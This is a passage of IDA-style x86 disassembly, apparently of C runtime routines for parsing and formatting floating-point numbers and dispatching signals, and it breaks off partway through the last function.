mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42519E
push edi
mov [ebp+arg_8], eax
loc_425151: ; CODE XREF: sub_42512A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4250CF
push ebx
call sub_4250CF
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
push ebx
call sub_4250CF
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425151
xor edx, edx
pop edi
loc_42519E: ; CODE XREF: sub_42512A+21j
; sub_42512A+9Fj
cmp [ebx+8], edx
jnz short loc_4251CB
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42519E
; ---------------------------------------------------------------------------
loc_4251CB: ; CODE XREF: sub_42512A+77j
mov esi, 8000h
loc_4251D0: ; CODE XREF: sub_42512A+B9j
test [ebx+8], esi
jnz short loc_4251E5
push ebx
call sub_4250CF
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4251D0
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_42512A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42512A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251F1 proc near ; CODE XREF: sub_424518+17p
; sub_424545+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_42522C: ; CODE XREF: sub_4251F1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425242
cmp cl, 9
jz short loc_425242
cmp cl, 0Ah
jz short loc_425242
cmp cl, 0Dh
jnz short loc_425245
loc_425242: ; CODE XREF: sub_4251F1+40j
; sub_4251F1+45j ...
inc edi
jmp short loc_42522C
; ---------------------------------------------------------------------------
loc_425245: ; CODE XREF: sub_4251F1+4Fj
push 4
pop esi
loc_425248: ; CODE XREF: sub_4251F1+AEj
; sub_4251F1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4254CB ; default
; jumptable 00425254 case 10
jmp off_425692[eax*4] ; switch jump
loc_42525B: ; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 0
jl short loc_42526C
cmp bl, 39h
jg short loc_42526C
loc_425265: ; CODE XREF: sub_4251F1+C4j
; sub_4251F1+118j
push 3
jmp loc_425489
; ---------------------------------------------------------------------------
loc_42526C: ; CODE XREF: sub_4251F1+6Dj
; sub_4251F1+72j
cmp bl, byte_43CBE8
jnz short loc_42527B
loc_425274: ; CODE XREF: sub_4251F1+124j
push 5
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_42527B: ; CODE XREF: sub_4251F1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4252A1
dec eax
dec eax
jz short loc_425295
sub eax, 3
jnz loc_425564
jmp loc_425324
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_4251F1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252A1: ; CODE XREF: sub_4251F1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252AA: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 1
mov [ebp+var_10], edx
jl short loc_4252B7
cmp bl, 39h
jle short loc_425265
loc_4252B7: ; CODE XREF: sub_4251F1+BFj
cmp bl, byte_43CBE8
jz loc_42537F
cmp bl, 2Bh
jz short loc_4252F9
cmp bl, 2Dh
jz short loc_4252F9
cmp bl, 30h
jz short loc_425324
loc_4252D2: ; CODE XREF: sub_4251F1+207j
cmp bl, 43h
jle loc_425564
cmp bl, 45h
jle short loc_4252F2
cmp bl, 63h
jle loc_425564
cmp bl, 65h
jg loc_425564
loc_4252F2: ; CODE XREF: sub_4251F1+EDj
push 6
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_4252F9: ; CODE XREF: sub_4251F1+D5j
; sub_4251F1+DAj ...
dec edi
push 0Bh
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_425301: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 2
jl short loc_42530F
cmp bl, 39h
jle loc_425265
loc_42530F: ; CODE XREF: sub_4251F1+113j
cmp bl, byte_43CBE8
jz loc_425274
cmp bl, 30h
jnz loc_4254D9
loc_425324: ; CODE XREF: sub_4251F1+9Fj
; sub_4251F1+DFj
mov eax, edx
jmp loc_425248
; ---------------------------------------------------------------------------
loc_42532B: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_10], edx ; jumptable 00425254 case 3
loc_42532E: ; CODE XREF: sub_4251F1+184j
cmp dword_43CBE4, edx
jle short loc_425347
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425355
; ---------------------------------------------------------------------------
loc_425347: ; CODE XREF: sub_4251F1+143j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425355: ; CODE XREF: sub_4251F1+154j
test eax, eax
jz short loc_425377
cmp [ebp+var_4], 19h
jnb short loc_42536F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425372
; ---------------------------------------------------------------------------
loc_42536F: ; CODE XREF: sub_4251F1+16Cj
inc [ebp+var_8]
loc_425372: ; CODE XREF: sub_4251F1+17Cj
mov bl, [edi]
inc edi
jmp short loc_42532E
; ---------------------------------------------------------------------------
loc_425377: ; CODE XREF: sub_4251F1+166j
cmp bl, byte_43CBE8
jnz short loc_4253E6
loc_42537F: ; CODE XREF: sub_4251F1+CCj
mov eax, esi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425386: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+var_4], 0 ; jumptable 00425254 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_42539F
loc_425392: ; CODE XREF: sub_4251F1+1ACj
cmp bl, 30h
jnz short loc_42539F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425392
; ---------------------------------------------------------------------------
loc_42539F: ; CODE XREF: sub_4251F1+19Fj
; sub_4251F1+1A4j ...
cmp dword_43CBE4, edx
jle short loc_4253B8
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4253C6
; ---------------------------------------------------------------------------
loc_4253B8: ; CODE XREF: sub_4251F1+1B4j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4253C6: ; CODE XREF: sub_4251F1+1C5j
test eax, eax
jz short loc_4253E6
cmp [ebp+var_4], 19h
jnb short loc_4253E1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4253E1: ; CODE XREF: sub_4251F1+1DDj
mov bl, [edi]
inc edi
jmp short loc_42539F
; ---------------------------------------------------------------------------
loc_4253E6: ; CODE XREF: sub_4251F1+18Cj
; sub_4251F1+1D7j
cmp bl, 2Bh
jz loc_4252F9
cmp bl, 2Dh
jz loc_4252F9
jmp loc_4252D2
; ---------------------------------------------------------------------------
loc_4253FD: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp dword_43CBE4, edx ; jumptable 00425254 case 5
mov [ebp+var_24], edx
jle short loc_425419
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425427
; ---------------------------------------------------------------------------
loc_425419: ; CODE XREF: sub_4251F1+215j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425427: ; CODE XREF: sub_4251F1+226j
test eax, eax
jz loc_4254D9
mov eax, esi
jmp short loc_42548A
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
lea ecx, [edi-2] ; jumptable 00425254 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425443
cmp bl, 39h
jle short loc_425487
loc_425443: ; CODE XREF: sub_4251F1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4254BF
dec eax
dec eax
jz short loc_4254B3
sub eax, 3
jnz loc_425567
loc_425458: ; CODE XREF: sub_4251F1+2A4j
push 8
jmp short loc_4254C1
; ---------------------------------------------------------------------------
loc_42545C: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], edx ; jumptable 00425254 case 8
loc_42545F: ; CODE XREF: sub_4251F1+276j
cmp bl, 30h
jnz short loc_425469
mov bl, [edi]
inc edi
jmp short loc_42545F
; ---------------------------------------------------------------------------
loc_425469: ; CODE XREF: sub_4251F1+271j
cmp bl, 31h
jl loc_425564
cmp bl, 39h
jg loc_425564
jmp short loc_425487
; ---------------------------------------------------------------------------
loc_42547D: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 7
jl short loc_425490
cmp bl, 39h
jg short loc_425490
loc_425487: ; CODE XREF: sub_4251F1+250j
; sub_4251F1+28Aj
push 9
loc_425489: ; CODE XREF: sub_4251F1+76j
pop eax
loc_42548A: ; CODE XREF: sub_4251F1+240j
dec edi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425490: ; CODE XREF: sub_4251F1+28Fj
; sub_4251F1+294j
cmp bl, 30h
jnz short loc_4254D9
jmp short loc_425458
; ---------------------------------------------------------------------------
loc_425497: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11
jz short loc_4254C7
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4254BF
dec eax
dec eax
jnz loc_425567
loc_4254B3: ; CODE XREF: sub_4251F1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254BF: ; CODE XREF: sub_4251F1+258j
; sub_4251F1+2B8j
push 7
loc_4254C1: ; CODE XREF: sub_4251F1+85j
; sub_4251F1+103j ...
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254C7: ; CODE XREF: sub_4251F1+2AAj
push 0Ah
dec edi
pop eax
loc_4254CB: ; CODE XREF: sub_4251F1+5Dj
; sub_4251F1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425254 case 10
jz loc_425569
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254D9: ; CODE XREF: sub_4251F1+12Dj
; sub_4251F1+238j ...
mov edi, [ebp+arg_8]
jmp loc_425569
; ---------------------------------------------------------------------------
loc_4254E1: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], 1 ; jumptable 00425254 case 9
xor esi, esi
loc_4254EA: ; CODE XREF: sub_4251F1+339j
cmp dword_43CBE4, 1
jle short loc_425502
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_425511
; ---------------------------------------------------------------------------
loc_425502: ; CODE XREF: sub_4251F1+300j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425511: ; CODE XREF: sub_4251F1+30Fj
test eax, eax
jz short loc_425531
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_42552C
mov bl, [edi]
inc edi
jmp short loc_4254EA
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4251F1+334j
mov esi, 1451h
loc_425531: ; CODE XREF: sub_4251F1+322j
mov [ebp+var_1C], esi
loc_425534: ; CODE XREF: sub_4251F1+371j
cmp dword_43CBE4, 1
jle short loc_42554C
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_42555B
; ---------------------------------------------------------------------------
loc_42554C: ; CODE XREF: sub_4251F1+34Aj
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42555B: ; CODE XREF: sub_4251F1+359j
test eax, eax
jz short loc_425564
mov bl, [edi]
inc edi
jmp short loc_425534
; ---------------------------------------------------------------------------
loc_425564: ; CODE XREF: sub_4251F1+99j
; sub_4251F1+E4j ...
dec edi
jmp short loc_425569
; ---------------------------------------------------------------------------
loc_425567: ; CODE XREF: sub_4251F1+261j
; sub_4251F1+2BCj
mov edi, ecx
loc_425569: ; CODE XREF: sub_4251F1+2DDj
; sub_4251F1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425651
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425595
cmp [ebp+var_45], 5
jl short loc_425589
inc [ebp+var_45]
loc_425589: ; CODE XREF: sub_4251F1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425598
; ---------------------------------------------------------------------------
loc_425595: ; CODE XREF: sub_4251F1+38Dj
mov eax, [ebp+var_C]
loc_425598: ; CODE XREF: sub_4251F1+3A2j
cmp [ebp+var_4], 0
jbe loc_425647
loc_4255A2: ; CODE XREF: sub_4251F1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4255B0
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4255A2
; ---------------------------------------------------------------------------
loc_4255B0: ; CODE XREF: sub_4251F1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42512A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4255CF
neg eax
loc_4255CF: ; CODE XREF: sub_4251F1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4255DA
add eax, [ebp+arg_10]
loc_4255DA: ; CODE XREF: sub_4251F1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4255E2
sub eax, [ebp+arg_14]
loc_4255E2: ; CODE XREF: sub_4251F1+3ECj
cmp eax, 1450h
jle short loc_425619
mov [ebp+var_2C], 1
loc_4255F0: ; CODE XREF: sub_4251F1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4255FC: ; CODE XREF: sub_4251F1+454j
; sub_4251F1+45Ej
cmp [ebp+var_2C], 0
jz short loc_425662
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425619: ; CODE XREF: sub_4251F1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425629
mov [ebp+var_30], 1
jmp short loc_4255F0
; ---------------------------------------------------------------------------
loc_425629: ; CODE XREF: sub_4251F1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425DDA
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425647: ; CODE XREF: sub_4251F1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425651: ; CODE XREF: sub_4251F1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425662: ; CODE XREF: sub_4251F1+40Fj
cmp [ebp+var_30], 0
jz short loc_425677
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425677: ; CODE XREF: sub_4251F1+426j
; sub_4251F1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4251F1 endp
; ---------------------------------------------------------------------------
off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r
dd offset loc_4252AA ; jump table for switch statement
dd offset loc_425301
dd offset loc_42532B
dd offset loc_425386
dd offset loc_4253FD
dd offset loc_425433
dd offset loc_42547D
dd offset loc_42545C
dd offset loc_4254E1
dd offset loc_4254CB
dd offset loc_425497
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425724
mov byte ptr [ebx+2], 2Dh
jmp short loc_425728
; ---------------------------------------------------------------------------
loc_425724: ; CODE XREF: sub_4256C2+5Aj
mov byte ptr [ebx+2], 20h
loc_425728: ; CODE XREF: sub_4256C2+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42574E
test edi, edi
jnz short loc_42574E
cmp [ebp+arg_0], edi
jnz short loc_42574E
loc_425739: ; CODE XREF: sub_4256C2+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42594C
; ---------------------------------------------------------------------------
loc_42574E: ; CODE XREF: sub_4256C2+6Cj
; sub_4256C2+70j ...
cmp dx, si
jnz short loc_4257CD
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425767
cmp [ebp+arg_0], 0
jz short loc_425776
loc_425767: ; CODE XREF: sub_4256C2+9Dj
test edi, 40000000h
jnz short loc_425776
push offset a1Snan ; "1#SNAN"
jmp short loc_4257BC
; ---------------------------------------------------------------------------
loc_425776: ; CODE XREF: sub_4256C2+A3j
; sub_4256C2+ABj
test cx, cx
jz short loc_425790
cmp edi, 0C0000000h
jnz short loc_425790
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Ind ; "1#IND"
jmp short loc_42579F
; ---------------------------------------------------------------------------
loc_425790: ; CODE XREF: sub_4256C2+B7j
; sub_4256C2+BFj
cmp edi, eax
jnz short loc_4257B7
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Inf ; "1#INF"
loc_42579F: ; CODE XREF: sub_4256C2+CCj
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4257AE: ; CODE XREF: sub_4256C2+109j
and [ebp+var_4], 0
jmp loc_425925
; ---------------------------------------------------------------------------
loc_4257B7: ; CODE XREF: sub_4256C2+C5j
; sub_4256C2+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4257BC: ; CODE XREF: sub_4256C2+B2j
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4257AE
; ---------------------------------------------------------------------------
loc_4257CD: ; CODE XREF: sub_4256C2+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DDA
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42582E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425BBA
pop ecx
pop ecx
loc_42582E: ; CODE XREF: sub_4256C2+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425848
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_42584B
jmp loc_425739
; ---------------------------------------------------------------------------
loc_425848: ; CODE XREF: sub_4256C2+173j
mov edi, [ebp+arg_C]
loc_42584B: ; CODE XREF: sub_4256C2+17Fj
cmp edi, 15h
jle short loc_425853
push 15h
pop edi
loc_425853: ; CODE XREF: sub_4256C2+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425869: ; CODE XREF: sub_4256C2+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4250CF
dec [ebp+arg_14]
pop ecx
jnz short loc_425869
test esi, esi
jge short loc_425893
neg esi
and esi, 0FFh
jle short loc_425893
loc_425886: ; CODE XREF: sub_4256C2+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4250FD
dec esi
pop ecx
jnz short loc_425886
loc_425893: ; CODE XREF: sub_4256C2+1B8j
; sub_4256C2+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4258F0
mov [ebp+arg_C], ecx
loc_4258A3: ; CODE XREF: sub_4256C2+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4250CF
lea eax, [ebp+var_10]
push eax
call sub_4250CF
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425071
lea eax, [ebp+var_10]
push eax
call sub_4250CF
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4258A3
mov eax, [ebp+arg_14]
loc_4258F0: ; CODE XREF: sub_4256C2+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_42592D
loc_4258FD: ; CODE XREF: sub_4256C2+248j
cmp eax, ecx
jb short loc_425910
cmp byte ptr [eax], 39h
jnz short loc_42590C
mov byte ptr [eax], 30h
dec eax
jmp short loc_4258FD
; ---------------------------------------------------------------------------
loc_42590C: ; CODE XREF: sub_4256C2+242j
cmp eax, ecx
jnb short loc_425914
loc_425910: ; CODE XREF: sub_4256C2+23Dj
inc eax
inc word ptr [ebx]
loc_425914: ; CODE XREF: sub_4256C2+24Cj
inc byte ptr [eax]
loc_425916: ; CODE XREF: sub_4256C2+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425925: ; CODE XREF: sub_4256C2+F0j
mov eax, [ebp+var_4]
loc_425928: ; CODE XREF: sub_4256C2+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42592D: ; CODE XREF: sub_4256C2+239j
; sub_4256C2+275j
cmp eax, ecx
jb short loc_42593D
cmp byte ptr [eax], 30h
jnz short loc_425939
dec eax
jmp short loc_42592D
; ---------------------------------------------------------------------------
loc_425939: ; CODE XREF: sub_4256C2+272j
cmp eax, ecx
jnb short loc_425916
loc_42593D: ; CODE XREF: sub_4256C2+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42594C: ; CODE XREF: sub_4256C2+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425928
sub_4256C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425955 proc near ; CODE XREF: sub_42255C+226Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4259BC
dec eax
dec eax
jz short loc_4259AD
sub eax, 4
jz short loc_4259AD
sub eax, 3
jz short loc_4259AD
sub eax, 4
jz short loc_4259A0
sub eax, 6
jz short loc_425993
dec eax
jz short loc_425986
or eax, 0FFFFFFFFh
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_425986: ; CODE XREF: sub_425955+27j
mov esi, dword_4DBC5C
mov eax, offset dword_4DBC5C
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_425993: ; CODE XREF: sub_425955+24j
mov esi, dword_4DBC58
mov eax, offset dword_4DBC58
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259A0: ; CODE XREF: sub_425955+1Fj
mov esi, dword_4DBC60
mov eax, offset dword_4DBC60
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259AD: ; CODE XREF: sub_425955+10j
; sub_425955+15j ...
push edi
call sub_425A82
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259BC: ; CODE XREF: sub_425955+Cj
mov esi, dword_4DBC54
mov eax, offset dword_4DBC54
loc_4259C7: ; CODE XREF: sub_425955+3Cj
; sub_425955+49j ...
cmp esi, 1
jnz short loc_4259D3
xor eax, eax
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_4259D3: ; CODE XREF: sub_425955+75j
test esi, esi
jnz short loc_4259DE
push 3
call sub_41B7C2
loc_4259DE: ; CODE XREF: sub_425955+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4259F0
cmp edi, 0Bh
jz short loc_4259F0
cmp edi, 4
jnz short loc_425A16
loc_4259F0: ; CODE XREF: sub_425955+8Fj
; sub_425955+94j
mov ebx, dword_4DBA30
and dword_4DBA30, 0
cmp edi, ecx
jnz short loc_425A45
mov edx, dword_43D02C
mov dword_43D02C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425A19
; ---------------------------------------------------------------------------
loc_425A16: ; CODE XREF: sub_425955+99j
mov ebx, [ebp+arg_0]
loc_425A19: ; CODE XREF: sub_425955+BFj
cmp edi, ecx
jnz short loc_425A45
mov eax, dword_43D020
mov ecx, dword_43D024
add ecx, eax
cmp eax, ecx
jge short loc_425A4C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43CFB0h[edx*4]
loc_425A3A: ; CODE XREF: sub_425955+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425A3A
jmp short loc_425A4C
; ---------------------------------------------------------------------------
loc_425A45: ; CODE XREF: sub_425955+AAj
; sub_425955+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425A5A
loc_425A4C: ; CODE XREF: sub_425955+D7j
; sub_425955+EEj
push dword_43D02C
push 8
call esi
pop ecx
pop ecx
jmp short loc_425A68
; ---------------------------------------------------------------------------
loc_425A5A: ; CODE XREF: sub_425955+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425A68
